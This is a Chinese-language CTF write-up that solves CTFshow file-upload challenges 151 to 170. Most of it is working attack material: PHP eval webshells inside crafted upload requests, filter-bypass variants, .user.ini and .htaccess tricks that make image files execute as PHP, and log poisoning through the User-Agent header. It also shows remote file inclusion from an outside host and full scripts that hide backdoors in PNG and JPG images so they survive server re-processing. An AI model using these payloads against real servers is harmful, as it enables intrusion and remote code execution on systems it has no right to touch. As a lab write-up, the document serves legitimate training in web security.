[CTFshow] 檔案上傳 151-170

sunset2131發表於2024-09-17

web151

提示:前臺校驗不可靠

  1. 直接上傳1.php提示圖片不符合,並且頁面無重新整理,再根據提示,應該是js驗證的,在F12發現了上傳驗證

    layui.use('upload', function(){
      var upload = layui.upload;
       
      //執行例項
      var uploadInst = upload.render({
        elem: '#upload' //繫結元素
        ,url: '/upload/' //上傳介面
        ,done: function(res){
        	if(res.code==0){
        		$("#result").html("檔案上傳成功,路徑:"+res.msg);
        	}else{
        		$("#result").html("檔案上傳失敗,失敗原因:"+res.msg);
        	}
          
        }
        ,error: function(){
          $("#result").html("檔案上傳失敗");
        }
      });
    });
    
    
  2. 上傳一張圖片抓包,然後修改資訊,修改filename1.php,內容為一句馬

    POST /upload.php HTTP/1.1
    .....
    -----------------------------270096245816276080941607688265
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: image/png
    
    <?php eval($_POST[1]); ?>
    
    -----------------------------270096245816276080941607688265--
    
    
  3. 在根據回顯路徑訪問後門,後面常規操作

web152

提示:後端校驗要嚴密

  1. 上傳正常圖片然後抓包然後修改

    -----------------------------9874466933019553249480037215
    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/png
    
    <?php eval($_POST[1]); ?>
    
    -----------------------------9874466933019553249480037215--
    

    上傳成功,這題應該是要修改MIME的,不過因為我們是修改正常圖片的包所以MINE不用改

web153

提示:後端校驗要嚴密

  1. 上傳正常圖片然後抓包然後修改

    -----------------------------8190292523814729420460717781
    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/png
    
    <?php eval($_POST[1]); ?>
    
    -----------------------------8190292523814729420460717781--
    

    提示檔案型別不合規,可能是檢測字尾名了,但是php的字尾名有很多.phtml .phps .php5 .pht

    不過嘗試了這幾種字尾名也不行

  2. 嘗試使用user.ini(該方法必須上傳目錄存在.php檔案)

    上傳圖片馬shell.php

    -----------------------------3853501443680031518359320506
    Content-Disposition: form-data; name="file"; filename="shell.png"
    Content-Type: image/png
    
    <?php eval($_POST[1]); ?>
    
    -----------------------------3853501443680031518359320506--
    
    

    上傳.user.ini,auto_prepend_file = <剛剛上傳的圖片馬>

    -----------------------------3853501443680031518359320506
    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    auto_prepend_file=shell.png
    
    -----------------------------3853501443680031518359320506--
    
  3. 訪問 /upload/index.php ,此時因為.user.ini的設定 index.php包含了shell.png ,操作一句馬即可

web154

提示:後端校驗要嚴密

  1. 嘗試上傳圖片馬,上傳失敗,提示檔案內容不合規,經檢查是過濾了php ,使用短標籤

    -----------------------------408186127524735908351363813842
    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval($_POST[1]);?>
    
    -----------------------------408186127524735908351363813842--
    
  2. 再上傳.user.ini包含 payload.png,然後訪問upload/index/php 進行操作

web155

提示:後端校驗要嚴密

  1. 嘗試上傳圖片馬,上傳成功

    -----------------------------166267126630299567892000136666
    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval($_POST[1]);?>
    
    -----------------------------166267126630299567892000136666--
    
  2. 剩下的和上一題一模一樣

web156

提示:後端校驗要嚴密

  1. 嘗試上傳圖片馬,提示:檔案型別不合規,經檢查過濾了 [] 修改為 {} 即可

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval($_POST{1});?>
    
  2. 剩下的和上一題一模一樣

web157

提示:後端校驗要嚴密

  1. 嘗試上傳圖片馬,提示:檔案型別不合規,{};也被過濾了,其實可以直接讀取檔案的,分號直接去掉就行的,因為?>會作為檔案的結束

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval(system('tac ../fla*'))?>
    
  2. 然後上傳.user.ini檔案,上傳直接訪問upload/index.php 直接讀取檔案回顯

web158

提示:後端校驗要嚴密

  1. 嘗試上傳圖片馬,上傳成功

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=eval(system('tac ../fla*'))?>
    
  2. 剩下的和上一題一模一樣

web159

提示:後端校驗要嚴密

  1. 嘗試上傳圖片馬,提示:檔案型別不合規,檢查後發現括號被過濾了,使用反引號``` 也是用於命令執行

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=`tac ../fla*`?>
    
  2. 剩下的和上一題一模一樣

web160

提示:後端校驗要嚴密

  1. 嘗試上傳圖片馬,提示:檔案型別不合規,比之前多過濾了空格和```

    可以配合日誌檔案來操作

    payload.png

    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    <?=include"/var/lo"."g/nginx/access.l"."og"?> //檔案包含日誌檔案
    

    .user.ini ,記得修改UA頭

    POST /upload.php HTTP/1.1
    Host: xxx.challenge.ctf.show
    User-Agent: Mozilla/5.0 (Wind<?php eval($_POST[1]); ?>ows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    .....
    -----------------------------24943745528283497061656564654
    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    auto_prepend_file=payload.png
    
    -----------------------------24943745528283497061656564654--
    
  2. 訪問upload/index.php 出現日誌內容表示包含成功,POST密碼1,獲取flag.php檔案內容即可

web161

提示:後端校驗要嚴密

  1. 嘗試上傳正常照片抓包,報錯了,檔案型別不合規,應該是檔案頭的緣故

    GIF89a是常見gif檔案頭,我們只要在內容裡面新增即可

  2. 首先上傳.user.ini

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=payload.png
    

    再上傳payload.png ,別忘記修改UA

    User-Agent: Mozilla/5.0 (Windo<?php eval($_POST[1]);?>ws NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 
    Content-Disposition: form-data; name="file"; filename="payload.png"
    Content-Type: image/png
    
    GIF89a
    <?=include"/var/lo"."g/nginx/access.l"."og"?>
    
  3. 訪問upload/index.php 出現日誌內容表示包含成功,POST密碼1,獲取flag.php檔案內容即可

web162

提示:後端校驗要嚴密

  1. 上傳 .user.ini , 報錯:檔案型別不合規,發現是.被過濾了,上傳不帶字尾名的即可

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=payload
    
  2. 可以直接 .user.ini 包含遠端程式碼,前提是伺服器允許遠端包含

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=http://xxxxxxxx/payload
    

web163

提示:後端校驗要嚴密

  1. 上傳 .user.ini , 上傳不帶字尾名的

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=payload
    
  2. 可以直接 .user.ini 包含遠端程式碼

    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=http://xxxxxxxx/payload
    

web164

提示:後端校驗要嚴密

  1. 發現上傳不了.user.ini 檔案了,我們上傳張圖片試試

    上傳成功後點選檢視圖片,發現連結地址是

    download.php?image=96c27bb6f75a00d0774060746f3adf73.png 看著有檔案包含漏洞,並且圖片被二次渲染了

  2. 思路:只要上傳的png圖片二次渲染後還保留著後門程式碼即可形成檔案包含

  3. 使用指令碼生成即可,也可以自己製作

    # 指令碼
    <?php
    $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
               0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
               0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
               0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
               0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
               0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
               0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
               0x66, 0x44, 0x50, 0x33);
    $img = imagecreatetruecolor(32, 32);
    for ($y = 0; $y < sizeof($p); $y += 3) {
       $r = $p[$y];
       $g = $p[$y+1];
       $b = $p[$y+2];
       $color = imagecolorallocate($img, $r, $g, $b);
       imagesetpixel($img, round($y / 3), 0, $color);
    }
    imagepng($img,'./1.png');
    ?>
    
    

    使用指令碼會在當前目錄生成一個帶有<?=$_GET[0]($_POST[1]);?> 後門程式碼的1.png

  4. 如何把圖片傳上去,點選檢視圖片

    // GET
    /download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system
    // POST
    1=ls
    

    然後抓包檢視,因為頁面上是圖片顯示不了,得抓包看

web165

看著像是上一題,但是上傳型別改為了jpg

  1. 製作jpg馬,與圖片選取關係很大,很容易就製作失敗

    # 指令碼
    <?php
        /*
    
        The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
        It is necessary that the size and quality of the initial image are the same as those of the processed image.
    
        1) Upload an arbitrary image via secured files upload script
        2) Save the processed image and launch:
        jpg_payload.php <jpg_name.jpg>
    
        In case of successful injection you will get a specially crafted image, which should be uploaded again.
    
        Since the most straightforward injection method is used, the following problems can occur:
        1) After the second processing the injected data may become partially corrupted.
        2) The jpg_payload.php script outputs "Something's wrong".
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    
        Sergey Bobrov @Black2Fan.
    
        See also:
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    
        */
    
        $miniPayload = "<?=phpinfo();?>";
    
        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
            die('php-gd is not installed');
        }
    
        if(!isset($argv[1])) {
            die('php jpg_payload.php <jpg_name.jpg>');
        }
    
        set_error_handler("custom_error_handler");
    
        for($pad = 0; $pad < 1024; $pad++) {
            $nullbytePayloadSize = $pad;
            $dis = new DataInputStream($argv[1]);
            $outStream = file_get_contents($argv[1]);
            $extraBytes = 0;
            $correctImage = TRUE;
    
            if($dis->readShort() != 0xFFD8) {
                die('Incorrect SOI marker');
            }
    
            while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                $marker = $dis->readByte();
                $size = $dis->readShort() - 2;
                $dis->skip($size);
                if($marker === 0xDA) {
                    $startPos = $dis->seek();
                    $outStreamTmp = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        str_repeat("\0",$nullbytePayloadSize) . 
                        substr($outStream, $startPos);
                    checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                    if($extraBytes !== 0) {
                        while((!$dis->eof())) {
                            if($dis->readByte() === 0xFF) {
                                if($dis->readByte !== 0x00) {
                                    break;
                                }
                            }
                        }
                        $stopPos = $dis->seek() - 2;
                        $imageStreamSize = $stopPos - $startPos;
                        $outStream = 
                            substr($outStream, 0, $startPos) . 
                            $miniPayload . 
                            substr(
                                str_repeat("\0",$nullbytePayloadSize).
                                    substr($outStream, $startPos, $imageStreamSize),
                                0,
                                $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                    substr($outStream, $stopPos);
                    } elseif($correctImage) {
                        $outStream = $outStreamTmp;
                    } else {
                        break;
                    }
                    if(checkImage('payload_'.$argv[1], $outStream)) {
                        die('Success!');
                    } else {
                        break;
                    }
                }
            }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');
    
        function checkImage($filename, $data, $unlink = FALSE) {
            global $correctImage;
            file_put_contents($filename, $data);
            $correctImage = TRUE;
            imagecreatefromjpeg($filename);
            if($unlink)
                unlink($filename);
            return $correctImage;
        }
    
        function custom_error_handler($errno, $errstr, $errfile, $errline) {
            global $extraBytes, $correctImage;
            $correctImage = FALSE;
            if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                if(isset($m[1])) {
                    $extraBytes = (int)$m[1];
                }
            }
        }
    
        class DataInputStream {
            private $binData;
            private $order;
            private $size;
    
            public function __construct($filename, $order = false, $fromString = false) {
                $this->binData = '';
                $this->order = $order;
                if(!$fromString) {
                    if(!file_exists($filename) || !is_file($filename))
                        die('File not exists ['.$filename.']');
                    $this->binData = file_get_contents($filename);
                } else {
                    $this->binData = $filename;
                }
                $this->size = strlen($this->binData);
            }
    
            public function seek() {
                return ($this->size - strlen($this->binData));
            }
    
            public function skip($skip) {
                $this->binData = substr($this->binData, $skip);
            }
    
            public function readByte() {
                if($this->eof()) {
                    die('End Of File');
                }
                $byte = substr($this->binData, 0, 1);
                $this->binData = substr($this->binData, 1);
                return ord($byte);
            }
    
            public function readShort() {
                if(strlen($this->binData) < 2) {
                    die('End Of File');
                }
                $short = substr($this->binData, 0, 2);
                $this->binData = substr($this->binData, 2);
                if($this->order) {
                    $short = (ord($short[1]) << 8) + ord($short[0]);
                } else {
                    $short = (ord($short[0]) << 8) + ord($short[1]);
                }
                return $short;
            }
    
            public function eof() {
                return !$this->binData||(strlen($this->binData) === 0);
            }
        }
    ?>
    
    

    我沒成功,找不到合適的jpg

web166

提示:後端校驗要嚴密

  1. 發現頁面的按鈕不是上傳圖片了,而是上傳檔案,開啟f12檢視發現限制上傳的是zip檔案,並且可以下載,返回的是壓縮包的內容,所以可能存在檔案包含

  2. 建立一個正常的壓縮包檔案,然後在尾部加上webshell例如<?php eval($_POST[1]); ?>

    image

  3. 上傳成功後點選下載檔案抓包,把get請求改為post,

    POST /upload/download.php?file=20008e8d8f575249a4941a8ccd76430a.zip HTTP/1.1
    
    .......
    
    1=phpinfo();
    

    回顯成功,之後正常操作就行

web167

提示:httpd

  1. 一般httpd指的是apache,apache也有解析漏洞, 上傳覆蓋.htaccess檔案,重寫解析規則

    首先上傳.htaccess 檔案,把jpg檔案當作php檔案解析

    上傳一張正常jpg照片,抓包修改內容即可

    Content-Disposition: form-data; name="file"; filename=".htaccess"
    Content-Type: image/jpeg
    <IfModule mime_module>
    	AddHandler php5-script .jpg          
    	SetHandler application/x-httpd-php   
    </IfModule>
    
  2. 上傳.htaccess 成功後我們再上傳帶有後門程式碼的jpg圖片

    Content-Disposition: form-data; name="file"; filename="1.jpg"
    Content-Type: image/jpeg
    
    <?php eval($_POST[1]); ?>
    
  3. 訪問/upload/1.jpg ,post傳輸1=phpinfo(); 回顯成功,直接讀取flag檔案即可

web168

提示:基礎免殺

  1. 上傳正常的png檔案回顯成功,但是上傳帶有後門程式碼的png檔案就回顯null

  2. 嘗試修改短標籤

    image

    竟然上傳成功

  3. 然後上傳.htaccess 檔案,解析png為php檔案,但是上傳之後沒效果

  4. 然後嘗試將第二步的shell2.png字尾名改為php,發現上傳成功了

  5. 然後訪問/upload/shell2.php 發現回顯成功,接著修改段標籤的內容找到flag即可

web169

提示:高階免殺

  1. 上傳正常的zip壓縮包發現上傳不上去,經檢測需要將MIME改為image/png 以及 GIF89a檔案頭

    **Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/png
    
    GIF89a**
    
  2. 嘗試插入短標籤之類的

    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: image/png
    
    GIF89a
    <?=`ls`?>
    

    返回NULL,發現<>?被過濾了

  3. 考慮包含日誌檔案,.user.ini 可以上傳,直接把日誌檔案當作php解析,順便在UA頭部新增payload

    //.user.ini
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/2<?=eval($_POST[1]);?>0100101 Firefox/130.0
    Content-Disposition: form-data; name="file"; filename=".user.ini"
    Content-Type: image/png
    
    GIF89a
    auto_prepend_file=/var/log/nginx/access.log
    
  4. 但是.user.ini 起作用的前提是同目錄需存在php檔案,我們直接訪問/upload/時發現403,沒有index.php檔案,所以我們再上傳一個index.php檔案

    Content-Disposition: form-data; name="file"; filename="index.php"
    Content-Type: image/png
    
    GIF89a
    
  5. 訪問/upload/ 日誌檔案回顯,成功包含,密碼1,phpinfo();回顯成功,讀取flag檔案即可

web170

提示:終極免殺

  1. 嘗試上一題的做法,成功獲取flag

相關文章